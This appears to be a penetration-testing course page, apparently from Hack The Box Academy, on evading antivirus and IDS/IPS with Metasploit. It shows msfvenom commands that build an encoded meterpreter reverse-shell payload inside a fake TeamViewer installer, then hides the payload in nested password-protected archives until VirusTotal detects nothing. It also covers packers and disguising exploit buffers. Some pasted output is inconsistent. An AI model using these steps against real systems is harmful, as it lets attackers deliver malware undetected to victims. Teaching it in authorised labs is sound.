

Firewall and IDS/IPS Evasion

To better learn how we can efficiently and quietly attack a target, we first need to understand better how that target is defended. We are introduced to two new terms:

- Endpoint protection
 - Perimeter protection
-

Endpoint Protection

Endpoint protection refers to any localized device or service whose sole purpose is to protect a single host on the network. The host can be a personal computer, a corporate workstation, or a server in a network's De-Militarized Zone (**DMZ**).

Endpoint protection usually comes in the form of software packs which include **Antivirus Protection**, **Antimalware Protection** (this includes bloatware, spyware, adware, scareware, ransomware), **Firewall**, and **Anti-DDoS** all in one, under the same software package. We are better familiarized with this form than the latter, as most of us are running endpoint protection software on our PCs at home or the workstations at our workplace. Avast, Nod32, Malwarebytes, and BitDefender are just some current names.

Perimeter Protection

Perimeter protection usually comes in physical or virtualized devices on the network perimeter edge. These **edge devices** themselves provide access **inside** of the network from the **outside**, in other terms, from **public** to **private**.

Between these two zones, on some occasions, we will also find a third one, called the De-Militarized Zone (**DMZ**), which was mentioned previously. This is a **lower-security policy level** zone than the **inside networks'** one, but with a higher **trust level** than the **outside zone**, which is the vast Internet. This is the virtual space where public-facing servers are housed, which push and pull data for public clients from the Internet but are also managed from the inside and updated with patches, information, and other data to keep the served information up to date and satisfy the customers of the servers.

Security Policies

Security policies are the drive behind every well-maintained security posture of any network. They function the same way as ACL (Access Control Lists) do for anyone familiar with the Cisco CCNA educational material. They are essentially a list of **allow** and **deny** statements that dictate how traffic or files can exist within a network boundary. Multiple lists can act upon multiple network parts, allowing for flexibility within a configuration. These lists can also target different features of the network and hosts, depending on where they reside:

- Network Traffic Policies
- Application Policies
- User Access Control Policies
- File Management Policies
- DDoS Protection Policies
- Others

While not all of these categories above might have the words "Security Policy" attached to them, all of the security mechanisms around them operate on the same basic principle, the **allow** and **deny** entries. The only difference is the object target they refer to and

apply to. So the question remains, how do we match events in the network with these rules so that the actions mentioned earlier can be taken?

There are multiple ways to match an event or object with a security policy entry:

Security Policy	Description
Signature-based Detection	The operation of packets in the network and comparison with pre-built and pre-ordained attack patterns known as signatures. Any 100% match against these signatures will generate alarms.
Heuristic / Statistical Anomaly Detection	Behavioral comparison against an established baseline included modus-operandi signatures for known APTs (Advanced Persistent Threats). The baseline will identify the norm for the network and what protocols are commonly used. Any deviation from the maximum threshold will generate alarms.
Stateful Protocol Analysis Detection	Recognizing the divergence of protocols stated by event comparison using pre-built profiles of generally accepted definitions of non-malicious activity.
Live-monitoring and Alerting (SOC-based)	A team of analysts in a dedicated, in-house, or leased SOC (Security Operations Center) use live-feed software to monitor network activity and intermediate alarming systems for any potential threats, either deciding themselves if the threat should be actioned upon or letting the automated mechanisms take action instead.

Evasion Techniques

Most host-based anti-virus software nowadays relies mainly on **Signature-based Detection** to identify aspects of malicious code present in a software sample. These signatures are placed inside the Antivirus Engine, where they are subsequently used to scan storage space and running processes for any matches. When a piece of unknown software lands on a partition and is matched by the Antivirus software, most Anti-viruses quarantine the malicious program and kill the running process.

How do we circumvent all this heat? We play along with it. The examples shown in the **Encoders** section show that simply encoding payloads using different encoding schemes with multiple iterations is not enough for all AV products. Moreover, merely establishing a channel of communication between the attacker and the victim can raise some alarms with the current capabilities of IDS/IPS products out there.

However, with the MSF6 release, msfconsole can tunnel AES-encrypted communication from any Meterpreter shell back to the attacker host, successfully encrypting the traffic as the payload is sent to the victim host. This mostly takes care of the network-based IDS/IPS. In some rare cases, we might be met with very strict traffic rulesets that flag our connection based on the sender's IP address. The only way to circumvent this is to find the services being let through. An excellent example of this would be the Equifax hack of 2017, where malicious hackers have abused the Apache Struts vulnerability to access a network of critical data servers. DNS exfiltration techniques were used to slowly siphon data out of the network and into the hackers' domain without being noticed for months. To learn more about this attack, visit the links below:

- [US Government Post-Mortem Report on the Equifax Hack](#)
- [Protecting from DNS Exfiltration](#)
- [Stopping Data Exfil and Malware Spread through DNS](#)

Returning to msfconsole, its capability to now sustain AES-encrypted tunnels, together with Meterpreter's feature of running in memory, raises our capability by a margin. However, we still have the issue of what happens to a payload once it reaches its destination, before it is run and placed into memory. This file could be fingerprinted for its signature, matched against the database, and blocked, together with our chances of accessing the target. We can also be sure that AV software developers are looking at msfconsole modules and capabilities to add the resulting code and files to their signature database, resulting in most if not all of the default payloads being immediately shut down by AV software nowadays.

We are in luck because **msfvenom** offers the option of using executable templates. This allows us to use some pre-set templates for executable files, inject our payload into them (no pun intended), and use **any** executable as a platform from which we can launch our

attack. We can embed the shellcode into any installer, package, or program that we have at hand, hiding the payload shellcode deep within the legitimate code of the actual product. This greatly obfuscates our malicious code and, more importantly, lowers our detection chances. There are many valid combinations between actual, legitimate executable files, our different encoding schemes (and their iterations), and our different payload shellcode variants. This generates what is called a backdoored executable.

Take a look at the snippet below to understand how msfvenom can embed payloads into any executable file:

Firewall and IDS/IPS Evasion

```
dbcypth0n@htb[/htb]$ msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -x ~/Downloads

Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/Desktop/TeamViewer_Setup.exe
```

Firewall and IDS/IPS Evasion

```
dbcypth0n@htb[/htb]$ ls

Pictures-of-cats.tar.gz  TeamViewer_Setup.exe  Cake_recipes
```

For the most part, when a target launches a backdoored executable, nothing will appear to happen, which can raise suspicions in some cases. To improve our chances, we need to trigger the continuation of the normal execution of the launched application while pulling the payload in a separate thread from the main application. We do so with the `-k` flag as it appears above. However, even with the `-k` flag running, the target will only notice the running backdoor if they launch the backdoored executable template from a CLI environment. If they do so, a separate window will pop up with the payload, which will not close until we finish running the payload session interaction on the target.

Archives

Archiving a piece of information such as a file, folder, script, executable, picture, or document and placing a password on the archive bypasses a lot of common anti-virus signatures today. However, the downside of this process is that they will be raised as notifications in the AV alarm dashboard as being unable to be scanned due to being locked with a password. An administrator can choose to manually inspect these archives to determine if they are malicious or not.

Generating Payload

Firewall and IDS/IPS Evasion

```
dbcypth0n@htb[/htb]$ msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -e x86/shikata_ga_nai

Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
```

```
x00/Shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/test.js
```

Firewall and IDS/IPS Evasion

```
dbcypn@htb[/htb]$ cat test.js

+n"t$G4mj1zzjV6icooBs>Z*9vt%1
<...SNIP...>
Qa*RW%$.\\=;.LTXFTT
```

If we check against VirusTotal to get a detection baseline from the payload we generated, the results will be the following.

VirusTotal

Firewall and IDS/IPS Evasion

```
dbcypn@htb[/htb]$ msf-virustotal -k <API key> -f test.js

[*] WARNING: When you upload or otherwise submit content, you give VirusTotal
[*] (and those we work with) a worldwide, royalty free, irrevocable and transferable
[*] licence to use, edit, host, store, reproduce, modify, create derivative works,
[*] communicate, publish, publicly perform, publicly display and distribute such
[*] content. To read the complete Terms of Service for VirusTotal, please go to the
[*] following link:
[*] https://www.virustotal.com/en/about/terms-of-service/
[*]
[*] If you prefer your own API key, you may obtain one at VirusTotal.

[*] Enter 'Y' to acknowledge: Y

[*] Using API key: <API key>
[*] Please wait while I upload test.js...
[*] VirusTotal: Scan request successfully queued, come back later for the report
[*] Sample MD5 hash      : 35e7687f0793dc3e048d557feeaf615a
[*] Sample SHA1 hash     : f2f1c4051d8e71df0741b40e4d91622c4fd27309
[*] Sample SHA256 hash   : 08799c1b83de42ed43d86247ebb21cca95b100f6a45644e99b339422b7b44105
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1652167047
[*] Requesting the report...
[*] Received code 0. Waiting for another 60 seconds...
[*] Analysis Report: test.js (11 / 59): <...SNIP...>

=====

Antivirus      Detected  Version      Result      Update
-----
ALYac          true      1.1.3.1      Exploit.Metacoder.Shikata.Gen  20220510
AVG            true      21.1.5827.0  Win32:ShikataGaNai-A [Trj]    20220510
Acronis        false     1.2.0.108    Exploit.Metacoder.Shikata.Gen  20220426
Ad-Aware       true      3.0.21.193   Exploit.Metacoder.Shikata.Gen  20220510
AhnLab-V3      false     3.21.3.10230 Win32:ShikataGaNai-A [Trj]    20220510
Antiy-AVL      false     3.0          Exploit.Metacoder.Shikata.Gen  20220510
Arcabit        false     1.0.0.889    Win32:ShikataGaNai-A [Trj]    20220510
Avast          true      21.1.5827.0  Win32:ShikataGaNai-A [Trj]    20220510
Avira          false     8.3.3.14     Win32:ShikataGaNai-A [Trj]    20220510
Baidu          false     1.0.0.2      Win32:ShikataGaNai-A [Trj]    20190318
BitDefender    true      7.2          Exploit.Metacoder.Shikata.Gen  20220510
BitDefenderTheta false     7.2.37796.0  Exploit.Metacoder.Shikata.Gen  20220428
Bkav           false     1.3.0.9899   Exploit.Metacoder.Shikata.Gen  20220509
CAT-QuickHeal  false     14.00        Exploit.Metacoder.Shikata.Gen  20220510
CMC            false     2.10.2019.1  Win32:ShikataGaNai-A [Trj]    20211026
ClamAV         true      0.105.0.0    Win.Trojan.MSShellcode-6360729-0 20220510
Comodo         false     34607        Win32:ShikataGaNai-A [Trj]    20220510
Cynet          false     4.0.0.27     Win32:ShikataGaNai-A [Trj]    20220510
Cyren          false     6.5.1.2      Win32:ShikataGaNai-A [Trj]    20220510
DrWeb          false     7.0.56.4040  Win32:ShikataGaNai-A [Trj]    20220510
ESET-NOD32     false     25243        Win32:ShikataGaNai-A [Trj]    20220510
-----
```

Emsisoft	true	2021.5.0.7597	Exploit.Metacoder.Shikata.Gen (B)	20220510
F-Secure	false	18.10.978.51		20220510
FireEye	true	35.24.1.0	Exploit.Metacoder.Shikata.Gen	20220510
Fortinet	false	6.2.142.0		20220510
GData	true	A:25.33002B:27.27300	Exploit.Metacoder.Shikata.Gen	20220510
Gridinsoft	false	1.0.77.174		20220510
Ikarus	false	6.0.24.0		20220509
Jiangmin	false	16.0.100		20220509
K7AntiVirus	false	12.12.42275		20220510
K7GW	false	12.12.42275		20220510
Kaspersky	false	21.0.1.45		20220510
Kingsoft	false	2017.9.26.565		20220510
Lionic	false	7.5		20220510
MAX	true	2019.9.16.1	malware (ai score=89)	20220510
Malwarebytes	false	4.2.2.27		20220510
MaxSecure	false	1.0.0.1		20220510
McAfee	false	6.0.6.653		20220510
McAfee-GW-Edition	false	v2019.1.2+3728		20220510
MicroWorld-eScan	true	14.0.409.0	Exploit.Metacoder.Shikata.Gen	20220510
Microsoft	false	1.1.19200.5		20220510
NANO-Antivirus	false	1.0.146.25588		20220510
Panda	false	4.6.4.2		20220509
Rising	false	25.0.0.27		20220510
SUPERAntiSpyware	false	5.6.0.1032		20220507
Sangfor	false	2.14.0.0		20220507
Sophos	false	1.4.1.0		20220510
Symantec	false	1.17.0.0		20220510
TACHYON	false	2022-05-10.02		20220510
Tencent	false	1.0.0.1		20220510
TrendMicro	false	11.0.0.1006		20220510
TrendMicro-HouseCall	false	10.0.0.1040		20220510
VBA32	false	5.0.0		20220506
ViRobot	false	2014.3.20.0		20220510
VirIT	false	9.5.191		20220509
Yandex	false	5.5.2.24		20220428
Zillya	false	2.0.0.4627		20220509
ZoneAlarm	false	1.0		20220510
Zoner	false	2.2.2.0		20220509

Now, try archiving it two times, passwording both archives upon creation, and removing the `.rar/.zip/.7z` extension from their names. For this purpose, we can install the [RAR utility](#) from RARLabs, which works precisely like WinRAR on Windows.

Archiving the Payload

Firewall and IDS/IPS Evasion

```
dbcypn@htb[/htb]$ wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
dbcypn@htb[/htb]$ tar -xzf rarlinux-x64-612.tar.gz && cd rar
dbcypn@htb[/htb]$ rar a ~/test.rar -p ~/test.js
```

```
Enter password (will not be echoed): *****
Reenter password: *****
```

```
RAR 5.50 Copyright (c) 1993-2017 Alexander Roshal 11 Aug 2017
Trial version Type 'rar -?' for help
Evaluation copy. Please register.
```

```
Creating archive test.rar
Adding test.js
Done
```

OK

Firewall and IDS/IPS Evasion

```
dbcypn@htb[/htb]$ ls

test.js test.rar
```

Removing the .RAR Extension

Firewall and IDS/IPS Evasion

```
dbcypth0n@htb[/htb]$ mv test.rar test
dbcypth0n@htb[/htb]$ ls

test    test.js
```

Archiving the Payload Again

Firewall and IDS/IPS Evasion

```
dbcypth0n@htb[/htb]$ rar a test2.rar -p test

Enter password (will not be echoed): *****
Reenter password: *****

RAR 5.50   Copyright (c) 1993-2017 Alexander Roshal   11 Aug 2017
Trial version           Type 'rar -?' for help
Evaluation copy. Please register.

Creating archive test2.rar
Adding      test                               OK
Done
```

Removing the .RAR Extension

Firewall and IDS/IPS Evasion

```
dbcypth0n@htb[/htb]$ mv test2.rar test2
dbcypth0n@htb[/htb]$ ls

test    test2    test.js
```

The test2 file is the final .rar archive with the extension (.rar) deleted from the name. After that, we can proceed to upload it on VirusTotal for another check.

VirusTotal

Firewall and IDS/IPS Evasion

```
dbcypth0n@htb[/htb]$ msf-virustotal -k <API key> -f test2

[*] Using API key: <API key>
[*] Please wait while I upload test2...
[*] VirusTotal: Scan request successfully queued, come back later for the report
[*] Sample MD5 hash      : 2f25eeeee28f737917e59177be61be6d
[*] Sample SHA1 hash     : c31d7f02cfadd87c430c2eadf77f287db4701429
[*] Sample SHA256 hash   : 76ec64197aa2ac203a5faa303db94f530802462e37b6e1128377315a93d1c2ad
[*] Analysis link: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1652167804
[*] Requesting the report...
[*] Received code 0. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Received code -2. Waiting for another 60 seconds...
[*] Analysis Report: test2 (0 / 49): 76ec64197aa2ac203a5faa303db94f530802462e37b6e1128377315a93d1c2ad
=====

Antivirus      Detected  Version      Result  Update
-----
```

ALYac	false	1.1.3.1	20220510
Acronis	false	1.2.0.108	20220426
Ad-Aware	false	3.0.21.193	20220510
AhnLab-V3	false	3.21.3.10230	20220510
Antiy-AVL	false	3.0	20220510
Arcabit	false	1.0.0.889	20220510
Avira	false	8.3.3.14	20220510
BitDefender	false	7.2	20220510
BitDefenderTheta	false	7.2.37796.0	20220428
Bkav	false	1.3.0.9899	20220509
CAT-QuickHeal	false	14.00	20220510
CMC	false	2.10.2019.1	20211026
ClamAV	false	0.105.0.0	20220509
Comodo	false	34606	20220509
Cynet	false	4.0.0.27	20220510
Cyren	false	6.5.1.2	20220510
DrWeb	false	7.0.56.4040	20220510
ESET-NOD32	false	25243	20220510
Emsisoft	false	2021.5.0.7597	20220510
F-Secure	false	18.10.978.51	20220510
FireEye	false	35.24.1.0	20220510
Fortinet	false	6.2.142.0	20220510
Gridinsoft	false	1.0.77.174	20220510
Jiangmin	false	16.0.100	20220509
K7AntiVirus	false	12.12.42275	20220510
K7GW	false	12.12.42275	20220510
Kingsoft	false	2017.9.26.565	20220510
Lionic	false	7.5	20220510
MAX	false	2019.9.16.1	20220510
Malwarebytes	false	4.2.2.27	20220510
MaxSecure	false	1.0.0.1	20220510
McAfee-GW-Edition	false	v2019.1.2+3728	20220510
MicroWorld-eScan	false	14.0.409.0	20220510
NANO-Antivirus	false	1.0.146.25588	20220510
Panda	false	4.6.4.2	20220509
Rising	false	25.0.0.27	20220510
SUPERAntiSpyware	false	5.6.0.1032	20220507
Sangfor	false	2.14.0.0	20220507
Symantec	false	1.17.0.0	20220510
TACHYON	false	2022-05-10.02	20220510
Tencent	false	1.0.0.1	20220510
TrendMicro-HouseCall	false	10.0.0.1040	20220510
VBA32	false	5.0.0	20220506
ViRobot	false	2014.3.20.0	20220510
VirIT	false	9.5.191	20220509
Yandex	false	5.5.2.24	20220428
Zillya	false	2.0.0.4627	20220509
ZoneAlarm	false	1.0	20220510
Zoner	false	2.2.2.0	20220509

As we can see from the above, this is an excellent way to transfer data both **to** and **from** the target host.

Packers

The term **Packer** refers to the result of an **executable compression** process where the payload is packed together with an executable program and with the decompression code in one single file. When run, the decompression code returns the backdoored executable to its original state, allowing for yet another layer of protection against file scanning mechanisms on target hosts. This process takes place transparently for the compressed executable to be run the same way as the original executable while retaining all of the original functionality. In addition, msfvenom provides the ability to compress and change the file structure of a backdoored executable and encrypt the underlying process structure.

A list of popular packer software:

Alternate EXE Packer	ExeStealth	Morphine
MEW	Themida	

If we want to learn more about packers, please check out the [PolyPack project](#).

Exploit Coding

When coding our exploit or porting a pre-existing one over to the Framework, it is good to ensure that the exploit code is not easily identifiable by security measures implemented on the target system.

For example, a typical **Buffer Overflow** exploit might be easily distinguished from regular traffic traveling over the network due to its hexadecimal buffer patterns. IDS / IPS placements can check the traffic towards the target machine and notice specific overused patterns for exploiting code.

When assembling our exploit code, randomization can help add some variation to those patterns, which will break the IPS / IDS database signatures for well-known exploit buffers. This can be done by inputting an **Offset** switch inside the code for the msfconsole module:

Code: **ruby**

```
'Targets' =>
[
  [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29, 'Offset' => 5093 } ],
],
```

Besides the BoF code, one should always avoid using obvious NOP sleds where the shellcode should land after the overflow is completed. Please note that the BoF code's purpose is to crash the service running on the target machine, while the NOP sled is the allocated memory where our shellcode (the payload) is inserted. IPS/IDS entities regularly check both of these, so it is good to test our custom exploit code against a sandbox environment before deploying it on the client network. Of course, we might only have one chance to do this correctly during an assessment.

For more information about exploit coding, we recommend checking out the [Metasploit - The Penetration Tester's Guide](#) book from No Starch Press. They delve into quite some detail about creating our exploits for the Framework.

Recompiling Meterpreter from Source Code

Intrusion Prevention Systems and Antivirus Engines are the most common defender tools that can shoot down an initial foothold on the target. These mainly function on signatures of the whole malicious file or the stub stage.

A Note on Evasion

This section covers evasion at a high level. Be on the lookout for later modules that will dig deeper into the theory and practical knowledge needed to perform evasion more effectively. It is worth trying some of these techniques out on older HTB machines or installing a VM with older versions of Windows Defender or free AV engines, and practicing evasion skills. This is a vast topic that cannot be covered adequately in a single section.

[< Previous](#)[Next >](#)[✔ Mark Complete & Next](#)

Table of Contents

Introduction

Preface	✓
Introduction to Metasploit	✓
Introduction to MSFconsole	✓

MSF Components

 Modules	✓
Targets	✓
 Payloads	✓
Encoders	✓
Databases	✓
Plugins & Mixins	✓

MSF Sessions

 Sessions & Jobs	
 Meterpreter	

Additional Features

Writing & Importing Modules	✓
Introduction to MSFVenom	✓
Firewall and IDS/IPS evasion	
Metasploit-Framework Updates - August 2020	

My Workstation

O F F L I N E

 Start Instance

 / 1 spawns left